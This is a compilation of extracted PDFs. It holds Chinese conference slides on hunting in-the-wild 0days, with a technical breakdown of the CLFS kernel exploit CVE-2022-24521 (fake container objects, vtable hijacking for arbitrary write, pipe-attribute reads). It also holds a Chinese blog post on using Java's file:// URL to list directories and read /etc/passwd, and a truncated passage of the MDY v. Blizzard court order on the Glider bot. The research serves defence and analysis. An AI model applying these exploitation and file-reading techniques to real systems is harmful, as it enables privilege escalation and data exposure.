加入了对“../”这一情况的处理 针对CAB路径穿越的完整修复 思考:还存在类似问题吗? 目录 1. 背景 2. 用不同的方法解决不同的问题 ➢ 为什么沙箱适合狩猎Office在野0day ➢ 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 ➢ Office在野0day案例分析 ➢ Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 案例分析:CVE-2022-24521 ➢ 2022年4月微软披露的一个CLFS驱动本地提权在野0day ➢ 在野样本作为一个独立组件使用 ➢ 发现厂商:CrowdStrike, NSA ➢ 事后复盘:其他厂商有没有可能发现这个在野0day? ➢ 线索1:“Cisco Talos shares insights related to recent cyber attack on Cisco” • bb62138d173de997b36e9b07c20b2ca13ea15e9e6cd75ea0e8162e0d3ded83b7 • 首次提交VirusTotal时间: 2022-03-18 16:21:46 UTC • 加密压缩包: bdo.zip 案例分析:CVE-2022-24521 ➢ 事后复盘:其他厂商有没有可能发现这个在野0day? ➢ 线索2:“Cisco Talos shares insights related to recent cyber attack on Cisco” • eb3452c64970f805f1448b78cd3c05d851d758421896edd5dfbe68e08e783d18 • 首次提交VirusTotal时间: 2022-08-25 12:05:44 UTC <- 提交到VT的时间太晚 • 与压缩包内的 ex.exe 文件高度吻合: • 文件编译时间: 2021-10-28 22:05:33 UTC <- 样本在几个月前已编译完成 • 数字签名时间: 2022-01-31 01:43:00 UTC <- 与压缩包内文件修改时间吻合 • CRC32: 50A9F3E7 <- 与原始文件完全一致 ➢ 结论:有一定难度,但样本就在眼皮底下 • 从2022年3月18日到2022年4月12日(一个月的窗口期),只要能够解密该压缩包,就有可能 发现内含的CVE-2022-24521在野0day样本 漏洞成因 ➢ CLFS驱动代码缺乏校验 ➢ SignatureOffset指向的区域与某个Container Context的pContainer指针重合 ➢ 调用ClfsEncodeBlock时导致pContainer被覆盖为用户伪造的fakeContainer 漏洞利用:借助漏洞伪造虚假对象 ➢ 借助漏洞,内存中的pContainer指针被覆盖为伪造的fakeContainer指针,从而被替换为一个伪造的 对象,该对象里面又伪造了一个虚函数表 1: kd> dq ffffe50a`9e7f8602 <- 内存中的CLFS_CONTAINER_CONTEXT对象 ffffe50a`9e7f8602 00000000`00000000 00000000`00080000 ffffe50a`9e7f8612 ffffffff`00000002 00000098`84eff990 <- 伪造的对象指针 ffffe50a`9e7f8622 00000000`00000000 00000000`00000000 ...cut... 1: kd> dq 00000098`84eff990 00000098`84eff990 00000098`84eff890 00000000`00000000 <- 伪造的虚表指针 ...cut... pLogBlockHeader->SignaturesOffset = 0x1600 pBaseLogRecord->rgContainers[0xA] = 0x1592 pContainerCtx->pContainer = fakeContainer 漏洞利用:任意地址写入 ➢ 任意地址写入 ➢ 借助伪造的虚函数表,劫持CClfsContainer对象的两次虚函数调用,进行任意地址写入 • CLFS!CClfsContainer::Release -> nt!HalpDmaPowerCriticalTransitionCallback • CLFS!CClfsContainer::Remove -> nt!XmXchgOp /* CLFS!CClfsBaseFilePersisted::RemoveContainer 代码片段*/ 44 88 74 24 20 mov [rsp+58h+var_38], r14b 48 8B 07 mov rax, [rdi] 48 8B 40 18 mov rax, [rax+18h] 48 8B CF mov rcx, rdi FF 15 B2 52 FD FF call cs:__guard_dispatch_icall_fptr <- 第一次调用 48 8B 07 mov rax, [rdi] 48 8B 40 08 mov rax, [rax+8] 48 8B CF mov rcx, rdi FF 15 A2 52 FD FF call cs:__guard_dispatch_icall_fptr <- 第二次调用 漏洞利用:任意地址读取 ➢ 任意地址读取 ➢ 使用“Scoop the Windows 10 pool!” 这篇文章中提到的Pipe Attribute手法 ➢ 使用SystemBigPoolInformation来泄露内核堆块信息 struct PipeAttribute { LIST_ENTRY list; char * AttributeName; uint64_t AttributeValueSize; <- 待读取大小 char * AttributeValue; <- 待读取地址 char data [0]; }; hRes = NtQuerySystemInformation(SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize); 同源样本:CVE-2021-????? (1Day) ➢ 除了使用的漏洞不同,其他手法完全一致 ➢ SHA256:86a8f267cf0f51c032f7b1777eb1e51f7cd1badf3f3894e2557a3f571fca9f3d ➢ 文件编译时间:2021-09-30 20:29:57 UTC ➢ 该漏洞的更多细节可以参考我在Black Hat USA 2022的演讲 更多CLFS漏洞在野样本 CVE-2021-????? CVE-2022-24481 CVE-2022-24521 CVE-2022-37969 1Day 1Day 0Day 0Day More ? 目录 1. 背景 2. 用不同的方法解决不同的问题 ➢ 为什么沙箱适合狩猎Office在野0day ➢ 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 ➢ Office在野0day案例分析 ➢ Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 如何培养在野0day狩猎人才 ➢ 该领域做得比较好的团队/公司(基于公开统计数据,捕获在野0day数量≥3) ➢ Google TAG ➢ Mandiant(已被Google收购) ➢ Kaspersky GReAT ➢ Microsoft ➢ 360 ATA ➢ 安恒猎影实验室 ➢ CrowdStrike ➢ Trend Micro ➢ 从统计结果看,都属于少数团队/公司多次捕获在野0day 培养此类人才的几点建议 1. 好苗子很重要(敏锐的嗅觉) 2. 对历史案例的仔细研究(严苛的训练) 3. 手握有价值的数据源(巧妇难为无米之炊) 4. 合适的平台和工具 ➢ 优质的EDR、沙箱、静态引擎 ➢ 用不同的工具解决不同的问题 5. 不断模拟演练(一次次复盘优化) ➢ 缩短各环节时间消耗:发现、复现、归类、分析 ➢ 行动力:早发现、早防御、早修复 6. 未知攻,焉知防? ➢ 逆向思维(站在攻的角度去思考防) 感谢聆听 Q&A 参考链接 1. https://unit42.paloaltonetworks.com/unit42-slicing-dicing-cve-2018-5002-payloads- new-chainshot-malware/ 2. https://bbs.pediy.com/thread-193443.htm 3. https://www.mandiant.com/resources/blog/cve-2017-0199-hta-handler 4. https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero- day-exploit-is-used-by-bitter-apt-in-targeted-attack/ 5. https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/ 6. https://bugs.chromium.org/p/project-zero/issues/detail?id=1107 7. https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/ 8. https://i.blackhat.com/USA-22/Thursday/us-22-Jin-The-Journey-Of-Hunting-ITW- Windows-LPE-0day.pdf 参考链接 9. https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk- Confusion/blob/master/Scoop_The_Windows_10_pool.pdf 10.https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows- kernel-ntfs-with-wnf-part-1/ 11.https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021- 28310-used-in-the-wild/101898/ 12.https://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege- escalation-via-a-use-after-free-vulnerability-in-win32k 13.https://bbs.pediy.com/thread-270017.htm 14.https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html 15.https://www.pixiepointsecurity.com/blog/nday-cve-2022-24521.html
pdf
1 Java⼩trick之利⽤URL的file协议列⽬录 LxLN 前⾔ LxLO 正⽂ LxLP debug跟踪 LxLQ 总结 这个技巧感觉挺有意思,还是在微信群⾥的赛博回忆录,讨论的时候看到的⼀篇⽂章 0x01 前⾔ 2 接着和钧钧讨论的时候发现作者是这样玩的 感觉挺有趣,深深的破坏了我对file://这个协议的看法 以前⼀直以为只能读⽂件,没想到在java⾥⾯还能读⽬录,特记录⼀波 0x02 正⽂ 3 Plain Text 复制代码 平时我对file协议就是读⽂件 也就是类似file:///etc/passwd这样 但是在看那个⽂章的时候 看到作者是类似这样玩的file:///etc/ 然后钧和我也试了⼀下,并且成功把⽬录列了出来 1 2 3 4 5 Java 复制代码 # ⾸先我们先看⼀个例⼦代码 import java.io.*; import java.net.URL; import java.net.URLConnection; public class test {    public static void main(String[] args) {        try {            // 漏洞利⽤点            String url = "file:///etc/";            // 实例化url的对象            URL u = new URL(url);            //打开⼀个URL连接,并运⾏客户端访问资源。            URLConnection connection = u.openConnection();            connection.connect();            connection.getInputStream();            StringBuilder response = new StringBuilder();            //获取url中的资源            BufferedReader in = new BufferedReader(                    new InputStreamReader(connection.getInputStream(), "UTF-8"));            String line;            while ((line = in.readLine()) != null) {                response.append(line + "\n");           }            in.close();            System.out.print(response.toString());       } catch (Exception e) {            e.printStackTrace();       }   } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 4 运⾏以后可以发现把我电脑的/etc⽬录列了出来 然后就好奇啊,为什么其它的语⾔不⾏,java可以所以就想跟⼀下 0x03 debug跟踪 5 6 7 8 可以清楚的看到,不是ftp的话就进⼊下⾯的else所以直接跟进去即可 9 没事多看看群是有好处的 :) 0x04 总结
pdf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 WO IN THE UNITED STATES DISTRICT COURT FOR THE DISTRICT OF ARIZONA MDY Industries, LLC, Plaintiff/Counterdefendant, vs. Blizzard Entertainment, Inc.; and Vivendi Games, Inc., Defendants/Counterclaimants. __________________________________ Blizzard Entertainment, Inc.; and Vivendi Games, Inc., Third-Party Plaintiffs, vs. Michael Donnelly, Third-Party Defendant. ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) No. CV-06-2555-PHX-DGC ORDER Blizzard Entertainment, Inc. and Vivendi Games, Inc. (collectively, “Blizzard”) are the creators and operators of a multiplayer online role-playing game known as World of Warcraft (“WoW”). WoW was released in November of 2004. WoW players control characters within a virtual universe, exploring the landscape, fighting monsters, performing 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 1 The record contains several different versions of the EULA and TOU. The parties agreed at oral argument that the most recent versions – the February 2, 2007 EULA and the October 16, 2006 TOU – are the operative agreements for purposes of the summary judgment motions. See Dkt. #41-8, 42. The Court therefore will not address the earlier versions. - 2 - quests, building skills, and interacting with other players and computer-generated characters. As players succeed, they acquire in-game assets, experience, and power. Players can advance from level 1 to level 60 with the basic game, and through level 70 with an expansion module. Blizzard owns the copyright for WoW software. The software consists of two components: the “game client” software and the “game server” software. A user can obtain the game client software by purchasing a copy at a retail store or downloading a copy from the WoW website. The user plays WoW by loading the game client software on his personal computer and accessing the game server software through an online account for which he pays a monthly fee. Use of WoW is governed by an End User License Agreement (“EULA”) and Terms of Use Agreement (“TOU”). These agreements are displayed on a player’s computer screen when the game client software is loaded and the player seeks online access to the game servers. Players are required to agree to the terms of the EULA and TOU before proceeding to play the game.1 WoW has been enormously successful. Blizzard asserts, and MDY does not dispute, that WoW is the largest and most successful multiplayer online game in the world. WoW currently has some 10,000,000 active players and generates more than $1.5 billion in revenue annually. Michael Donnelly is the founder of MDY Industries, LLC (“MDY”). Donnelly created, and MDY owns, a software program known as WowGlider (“Glider”). Glider is a computer program known as a “bot” – a word derived from “robot.” Glider plays WoW for its owner while the owner is away from his or her computer. Glider thereby enables the owner to advance more quickly within WoW than would otherwise be possible. MDY began selling Glider to WoW users in June of 2005. To date, it has sold some 100,000 copies. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 3 - Blizzard contends that Glider diminishes the value of WoW and causes Blizzard to lose customers and revenue. Blizzard asserts that WoW is a carefully balanced competitive environment where players compete against each other and the game to advance through the game’s various levels and to acquire game assets. Blizzard claims that Glider upsets this balance by enabling some payers to advance more quickly and unfairly, diminishing the game experience for other players. Blizzard also contends that Glider enables its users to acquire an inordinate number of game assets – sometimes referred to as “mining” or “farming” the game – with some users even selling those assets for real money in online auction sites, an activity expressly prohibited by the TOU. Dkt. #41. Ex. 8, ¶ 8. MDY, by contrast, claims that Glider enhances the game playing experience of its users and even enables some disabled users to play WoW. MDY contends that Glider users constitute a small fraction of WoW players and that the effect of Glider on WoW is minimal. MDY characterizes itself as an innovator and entrepreneur, and claims that Blizzard seeks improperly to use the copyright laws to squelch competition and stifle innovation. On the morning of October 25, 2006, representatives of Blizzard appeared at Donnelly’s home and informed him that the sale and use of Glider violated Blizzard’s rights in WoW. The representatives stated that they would file a lawsuit against Donnelly and MDY the next day in California federal court if MDY did not agree to stop selling Glider. Donnelly declined, and later that day filed this action in Arizona. See Dkt. #1. MDY’s amended complaint seeks a declaratory judgment that Glider does not infringe rights owned by Blizzard. Dkt. #5. Blizzard filed a counterclaim and third-party complaint asserting seven claims: tortious interference with contract, contributory copyright infringement, vicarious copyright infringement, violation of the Digital Millennium Copyright Act (“DMCA”), trademark infringement, unfair competition, and unjust enrichment. Dkt. #10. The parties have now filed motions for summary judgment. Blizzard seeks summary judgment on the claims for contributory and vicarious copyright infringement, violation of the DMCA, and tortious interference with contract (Counts I-IV). Dkt. #39. MDY seeks 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 2 The Court will grant summary judgment on Blizzard’s unfair competition claim (Count VI). Blizzard does not oppose MDY’s motion on that claim. Dkt. #54 at 2 n.1. - 4 - summary judgment on all claims except trademark infringement (Count V). Dkt. #45. The parties have fully briefed the issues (Dkt. ##39, 45, 54, 57, 69-70) and the Court heard oral argument on June 26, 2008 (Dkt. #78). For reasons stated below, the Court will grant the motions in part and deny them in part.2 I. Summary Judgment Standard. Summary judgment may be granted if “there is no genuine issue as to any material fact” and “the moving party is entitled to judgment as a matter of law.” Fed. R. Civ. P. 56(c). A party seeking summary judgment “always bears the initial responsibility of informing the district court of the basis for its motion, and identifying those portions of [the record] which it believes demonstrate the absence of a genuine issue of material fact.” Celotex Corp. v. Catrett, 477 U.S. 317, 322 (1986). Only disputes over facts that might affect the outcome of the suit will preclude the entry of summary judgment, and the disputed evidence must be “such that a reasonable jury could return a verdict for the nonmoving party.” Anderson v. Liberty Lobby, Inc., 477 U.S. 242, 248 (1986). II. Blizzard’s Copyright Infringement Claims (Counts II and III). Section 106 of the Copyright Act grants the owner of a copyright the exclusive right to “copy” the copyrighted work; that is, to make a copy of the work, to prepare derivative works based on the work, or to distribute copies of the work to the public. 17 U.S.C. § 106(1)-(3); see S.O.S., Inc. v. Payday, Inc., 886 F.2d 1081, 1085 n.3 (9th Cir. 1989) (“copying” is shorthand for the copyright owner’s exclusive rights). Section 501 of the Act provides that “[a]nyone who violates any of the exclusive rights of the copyright owner as provided by section[] 106 . . . is an infringer of the copyright[.]” 17 U.S.C. § 501(a). Copyright plaintiffs must therefore satisfy two requirements to establish direct infringement: (1) they must show that they own the allegedly infringed copyright, and (2) they must show that the alleged infringer has violated at least one of the exclusive rights granted under section 106. See A&M Records, Inc. v. Napster, Inc., 239 F.3d 1004, 1013 (9th Cir. 2001). 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 3 The Court permitted the public interest group Public Knowledge to file an amicus brief in this case (Dkt. ##74-75), and required Blizzard to respond to its arguments (Dkt. ##76-77). Public Knowledge and the other parties have provided many helpful legal arguments. They also make various policy arguments. Although the Court appreciates these policy arguments and has benefitted from their excellent presentation, the Court is not a policy-making body. The Court’s obligation is to apply the law, particularly the law of the Ninth Circuit. As will be seen below, many of the issues in this case are governed by established Ninth Circuit law. No matter how persuasive arguments might be for positions contrary to Ninth Circuit law, this Court is not free to depart from that law. - 5 - A person commits contributory copyright infringement “by intentionally inducing or encouraging direct infringement.” MGM Studios Inc. v. Grokster, Ltd., 545 U.S. 913, 930 (2005). A person commits vicarious infringement “by profiting from direct infringement while declining to exercise a right to stop or limit it[.]” Id. Blizzard alleges that users of WoW are licensees who are permitted to copy the copyrighted game client software only in conformance with the EULA and TOU, and that when users launch WoW using Glider, they exceed the license in the EULA and TOU and create infringing copies of the game client software. Dkt. #10 ¶¶ 80-83, 91-92. MDY is liable for contributory copyright infringement, Blizzard claims, because it materially contributes to this direct infringement by Glider users. MDY allegedly does so by developing and selling Glider with the knowledge that Glider users will create infringing copies. Id. ¶¶ 85-87. MDY is liable for vicarious copyright infringement, Blizzard asserts, because it has the ability to stop the Glider-caused infringing activity and derives a financial benefit from that activity. Id. ¶¶ 93-95. MDY does not dispute that it promotes the use of Glider in connection with WoW, that it controls Glider, or that it profits from Glider. MDY instead contends that it is not liable for contributory or vicarious copyright infringement because Glider users do not infringe Blizzard’s copyright. Dkt. #45 at 7-12. If Glider users violate terms of the EULA and TOU, MDY argues, they are merely breaching a contract, not infringing a copyright. Id. MDY also asserts a copyright misuse defense and an ownership defense under 17 U.S.C. § 117. Dkt. ##57, 69.3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 4 Breach of contract damages generally are limited to the value of the actual loss caused by the breach. See 24 Richard A. Lord, Williston on Contracts § 65:1 (4th ed. 2007). Copyright damages, by contrast, include the copyright owner’s actual damages and any additional profits of the infringer, or statutory damages as high as $150,000 per infringed work. 17 U.S.C. § 504; see Frank Music Corp. v. MGM, Inc., 772 F.2d 505, 512 n.5 (9th Cir. 1985). Courts may also impose injunctive relief, seize infringing articles, and award costs and attorneys’ fees. 17 U.S.C. §§ 502, 503, 505. - 6 - A. Do Users of Glider Infringe Blizzard’s Copyright? MDY does not dispute that Blizzard owns a valid copyright in the WoW game client and game server software. Nor does MDY dispute that the game client software, which typically is located on the hard drive of a player’s personal computer, is copied from the hard drive to the computer’s random access memory (“RAM”) when WoW is played. Ninth Circuit law holds that the copying of software to RAM constitutes “copying” for purposes of section 106 of the Copyright Act. MAI Sys. Corp. v. Peak Computer, Inc., 991 F.2d 511, 518-19 (9th Cir. 1993). Thus, if a person is not authorized by the copyright holder (through a license) or by law (through section117, which will be discussed below) to copy the software to RAM, the person is guilty of copyright infringement because the person has exercised a right (copying) that belongs exclusively to the copyright holder. MDY contends that users of Glider do not infringe Blizzard’s copyright because they are licensed to copy the game client software to RAM. MDY claims that WoW players acquire this license when they purchase the game client software and load it on the hard drives of their personal computers. MDY claims that contrary provisions of the EULA and TOU, such as express prohibitions on the use of bots, are mere terms of contract, not limitations on the scope of the license granted by Blizzard. Thus, although Blizzard may assert a claim against Glider users for breach of contract, MDY argues, it cannot assert the more powerful claim of copyright infringement.4 “Generally, a copyright owner who grants a nonexclusive license to use his copyrighted material waives his right to sue the licensee for copyright infringement and can sue only for breach of contract.” Sun Microsystems, Inc. v. Microsoft Corp., 188 F.3d 1115, 1121 (9th Cir. 1999) (“Sun I”) (citations omitted). “If, however, a license is limited in scope 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 7 - and the licensee acts outside the scope, the licensor can bring an action for copyright infringement.” Id. To prevail on a copyright infringement claim, therefore, a plaintiff who has granted a license must establish that the license terms are “limitations on the scope of the license rather than independent contractual covenants,” and that the defendant’s actions exceed the scope of the license. Id. at 1122. 1. Is the EULA Limited in Scope? The use of WoW is governed by two agreements – the EULA and the TOU. Players must affirmatively consent to these agreements before playing WoW. The first paragraph of the EULA states: “IF YOU DO NOT AGREE TO THE TERMS OF THIS AGREEMENT, YOU ARE NOT PERMITTED TO INSTALL, COPY, OR USE THE GAME.” Dkt. #42 at 2 (capitalization in original). The next paragraph provides that “[a]ny and all uses of the [game client software] are governed by the terms” of the EULA, that the game client software is “distributed solely for use by authorized end users according to the terms” of the EULA, and that “[a]ny use, reproduction, modification or distribution of the [game client software] not expressly authorized by the terms of the [EULA] is expressly prohibited.” Id. Section 1 of the EULA specifically addresses the license granted by Blizzard. With emphasis on particular provisions, the section reads as follows: Grant of Limited Use License. If you agree to this License Agreement, computer software (hereafter referred to as the “Game Client”) will be installed on your hardware. If your hardware meets the minimum requirements, the installation of the Game Client will enable you to play the Game by accessing your account with the Service (your “Account”). Subject to your agreement to and continuing compliance with this License Agreement, Blizzard hereby grants, and you hereby accept, a limited, non- exclusive license to (a) install the Game Client on one or more computers owned by you or under your legitimate control, and (b) use the Game Client in conjunction with the Service for your non-commercial entertainment purposes only. All use of the Game Client is subject to this License Agreement and to the [TOU], both of which you must accept before you can use your Account to play the Game. Id. at 3 (emphasis added). Several parts of this section are worth noting. The title – “Grant of Limited Use License” – makes clear that the license is limited, as does the later reference to a “limited, 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 5 Blizzard also argues, although with less force, that Glider users violate sections 4(B)(ii) and 4(B)(iv) of the EULA. Section 4(B)(ii) prohibits exploiting the game client software for any commercial purpose, and section 4(B)(iv) prohibits unauthorized connections to the game. Dkt. #42 at 4. Section 4(A) provides that failure to comply with the terms of section 4 results in the immediate and automatic termination of the EULA. Id. The Court will not grant summary judgment based on section 4 of the EULA because the language of the section is ambiguous and Blizzard has presented no legal authority in support of license provisions that “self-destruct” when users commit certain violations. - 8 - non-exclusive license.” The grant of the limited license is expressly made “[s]ubject to your agreement to and continuing compliance with this License Agreement.” The section further provides that “[a]ll use of the Game Client is subject to” the EULA and the TOU. Thus, the very portion of the contract that grants a license to use the game client software also makes clear that the license is limited. 2. Are Key Provisions of the EULA and TOU Limitations on the Scope of the License or Separate Contractual Covenants? Having determined that the Blizzard license is limited, the Court must construe the EULA and TOU to determine whether the provisions violated by the use of Glider are themselves “limitations on the scope of the license, which would mean that [the users] had infringed the copyright by acting outside the scope of the license; or whether the terms [are] merely separate contractual covenants, which would make this a contract dispute[.]” Sun I, 188 F.3d at 1119. Blizzard argues that Glider users violate portions of section 4 of the TOU (subsections 4(B)(ii) and 4(B)(iii)) and portions of section 5 (subsections 5(B)(6) and 5(B)(8)). Dkt. #39 at 6-7. The Court will address these sections.5 As an initial matter, the Court concludes that limitations on the license granted by Blizzard may be found in both the EULA and the TOU. Section 1 of the EULA, which grants the limited license, expressly states that users are subject to both the EULA and the TOU. Dkt. #42 at 3. These contracts must therefore be read together. As already noted, both agreements must be accepted before a user can play WoW. The EULA and TOU contain no provision that explicitly lays out the scope of the Blizzard limited license. The Court concludes, however, that the limitations on scope are 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 6 Section 4 is titled “Limitations on Your Use of the Service.” Id. The title thus reflects an intent to create limitations on use. Although the title refers to “the Service,” a term that is defined to mean the online portion of the WoW game (Dkt. #41 at 2), the Service cannot be accessed or used without the game client software and the EULA expressly makes the license of the game client software subject to the terms of the TOU. Dkt. #42 at 2. The Court thus views the title of section 4 as consistent with the interpretation of that section as a limitation on the license granted by Blizzard. - 9 - found in section 4 of the TOU. The provisions of section 4 generally are designed to preserve and protect Blizzard’s proprietary interests in its software and game, including its copyright interests. Dkt. #41 at 4. Subsection A of section 4 prohibits users from intercepting, emulating, or redirecting the proprietary components of the game, activities that would include the exclusive copying and distribution rights possessed by Blizzard under section 106 of the Copyright Act. Subsection B prohibits users from modifying files that are part of the game, an activity akin to the creation of derivative works – another right possessed exclusively by Blizzard as copyright holder. Subsection C prohibits users from disrupting the game or others players’ use of the game. Subsection D reserves Blizzard’s exclusive right under section 106 of the Act to create derivative works. Id. The provisions of section 4 thus make clear that although users are licensed to play WoW and to use the game client software while playing, they are not licensed to exercise other rights belonging exclusively to Blizzard as the copyright holder – copying, distributing, or modifying the work. The provisions are limits on the scope of the license granted by Blizzard.6 Section 5 of the TOU is different. It is titled “Rules of Conduct.” Id. at 4. The subsections of section 5 are titled “Rules Related to Usernames and Guild Designations” (§ 5(A)), “Rules Related to ‘Chat’ and Interaction With Other Users” (§ 5(B)), and “Rules Related to Game Play” (§ 5(C)). Section 5 thus sets rules for the game, whereas section 4 establishes limits more clearly designed to preserve Blizzard’s copyright interests. The section 5 rules also regulate relatively minor matters such as the use of celebrity names (§ 5(A)(4)) or offensive language (§ 5(A)(2)) for WoW characters. Section 5 establishes game rules by contract. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 10 - When the EULA and TOU are considered in their entirety, the Court concludes that section 4 of the TOU establishes limitations on the scope of the license and section 5 sets rules of the game as independent contract terms. A single contract clearly can contain both types of provisions. See Netbula, LLC v Storage Tech. Corp., No. C06-07391 MJJ, 2008 WL 228036, at *5 (N.D. Cal. Jan. 18, 2008) (concluding that one clause of an agreement was a contractual covenant while another clause was a limitation on the scope of the license). 3. Do Users of Glider Act Outside the Scope of The License? Users of Glider clearly violate the prohibition in section 4(B)(ii) of the TOU against the use of “bots” or any “third-party software designed to modify the [WoW] experience[.]” Dkt. #41-8 at 4. Players who use Glider to mine WoW for game assets also violate section 4(B)(iii). When WoW users employ Glider, therefore, they act outside the scope of the license delineated in section 4 of the TOU. Copying the game client software to RAM while engaged in this unauthorized activity constitutes copyright infringement. See MAI, 991 F.2d at 518-19 (copying software to RAM constitutes “copying” for purposes of section 106 of the Copyright Act); Ticketmaster LLC v. RMG Techs., Inc., 507 F. Supp. 2d 1096, 1108 (C.D. Cal. 2007) (use of bot violated TOU and gave rise to copyright infringement). MDY relies on the Federal Circuit’s decision in Storage Technology Corp. v. Custom Hardware Engineering & Consulting, Inc., 421 F.3d 1307 (Fed. Cir. 2005), to argue that “uses” which violate a license constitute copyright infringement only when the uses themselves infringe one of the exclusive rights granted by the Copyright Act. Dkt. #57 at 6-7. The Court is not convinced that Storage Technology should be read so narrowly. It is obvious that a person cannot be liable for copyright infringement without committing an act of infringement. Thus, where a license is at issue, the person must not only act outside the scope of the license, but must also engage in an act that infringes upon the exclusive rights granted the copyright holder by section 106 of the Act. This much is clear from both Ninth Circuit law and Storage Technology. But to the extent MDY suggests that the act that causes the person to fall outside the scope of the license and the act that constitutes copyright infringement must be one and the same, MDY has cited no Ninth Circuit authority. Nor does 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 11 - this proposition make logical sense. If A grants a software license to B on the express condition that the license will remain in effect only so long as B makes monthly payments to A, and B then stops making payments to A, any subsequent copying of the software to RAM by B would constitute copyright infringement – a conclusion with which MDY’s counsel agreed during oral argument. This would be true even though the act that took B outside the scope of the license – nonpayment – is different from the act that constitutes infringement – subsequent copying of the software. The Court cannot accept MDY’s assertion, at least as a matter of Ninth Circuit law, that the act that takes one outside the scope of the license and the act that constitutes infringement must be one and the same. Even if MDY’s proposition were true, however, it would not change the result in this case. The act that violates the EULA and TOU and takes Glider users outside the scope of Blizzard’s limited license is the use of Glider to play WoW, and the use of Glider to play WoW necessarily includes copying the game client software to RAM. Thus, the act that exceeds the scope of the license and the act that violates Blizzard’s copyright are the same. 4. MDY’s Other Arguments. MDY does not dispute that the requirements for contributory and vicarious copyright infringement are met if the use of Glider constitutes infringement. MDY does contend, however, that certain factual disputes preclude summary judgment in favor of Blizzard on the contributory and vicarious infringement claims. Dkt. #57 at 11. MDY first contends that there is a dispute as to whether Blizzard has ever terminated a license pursuant to the terms of the EULA. Id. But MDY has presented no argument or legal authority to suggest that Glider users infringe Blizzard’s copyright only if Blizzard affirmatively terminates the limited license. Users may infringe if they engage in an act of copying that is outside the scope of the limited license granted by Blizzard. Whether Blizzard has ever terminated a license is therefore immaterial. MDY next contends that there is a factual issue as to whether “the EULA or TOU precluded ‘bots.’” Id. There is no such issue. As MDY itself acknowledges, the operative version of the TOU expressly prohibits bots. Dkt. #58 ¶ 67; see Dkt. #41-8 at 4 (§ 4(B)(ii)). 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 12 - MDY also asserts a factual dispute as to whether the violations of the TOU were “within the reasonable expectations of MDY or its customers as required under Arizona law.” Dkt. #57 at 11. This purported dispute is immaterial because both the EULA and TOU are governed by Delaware law. See Dkt. #42 at 8-9 (EULA § 14(f)); Dkt. #41-8 at 14 (TOU § 16(F)). Moreover, any person reading the TOU clearly would understand that a licensee is not authorized to play WoW using Glider. Finally, MDY claims that a dispute exists as to whether the RAM copying Blizzard alleges here is the same as the RAM copying in MAI. But whether the loading of software into RAM constitutes “copying” for purposes of copyright law is a legal, not a factual, question, and has been answered by MAI: “[T]he loading of software into RAM creates a copy under the Copyright Act.” 991 F.2d at 519. MDY cites no case to the contrary. B. Has MDY Established the Copyright “Misuse” Defense? The defense of copyright misuse “prevents copyright holders from leveraging their limited monopoly to allow them control of areas outside the monopoly.” A&M Records, Inc. v. Napster, Inc., 239 F.3d 1004 1026 (9th Cir. 2001) (citing Lasercomb Am., Inc. v. Reynolds, 911 F.2d 970, 979 (4th Cir. 1990)). MDY contends that Blizzard’s prohibition of bots constitutes copyright misuse because Blizzard is controlling its “licensees’ use of independently created and noninfringing third party software.” Dkt. #57 at 14. As explained above, however, the use of Glider does infringe Blizzard’s copyright. Moreover, while Blizzard has limited the license of its WoW software, there is no evidence that Blizzard has sought to bar third parties from developing competing games. See A&M, 239 F.3d at 1027 (rejecting misuse defense where there was no evidence plaintiffs sought to control areas outside the grant of copyright); Triad Sys. Corp. v. S.E. Express Co., 64 F.3d 1330, 1337 (9th Cir. 1995) (rejecting misuse defense because unlike Lasercomb, “Triad did not attempt to prohibit [the defendant] from developing its own service software to compete with Triad”). MDY has not established the copyright misuse defense. C. Does 17 U.S.C. § 117 Require a Finding of Non-infringement? Section 117 permits the “owner” of a copy of a computer program to copy the 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 13 - program to RAM if the copy is created as an essential step in using the program. Section 117 provides, in relevant part: Notwithstanding the provisions of section 106, it is not infringement for the owner of a copy of a computer program to make or authorize the making of another copy or adaption of that computer program provided[] that such a new copy or adaption is created as an essential step in the utilization of the computer program[.] 17 U.S.C. § 117(a)(1). Public Knowledge’s amicus brief contends that WoW users are “owners” of copies of the game client software within the meaning of section 117, that copying the software to RAM is an essential 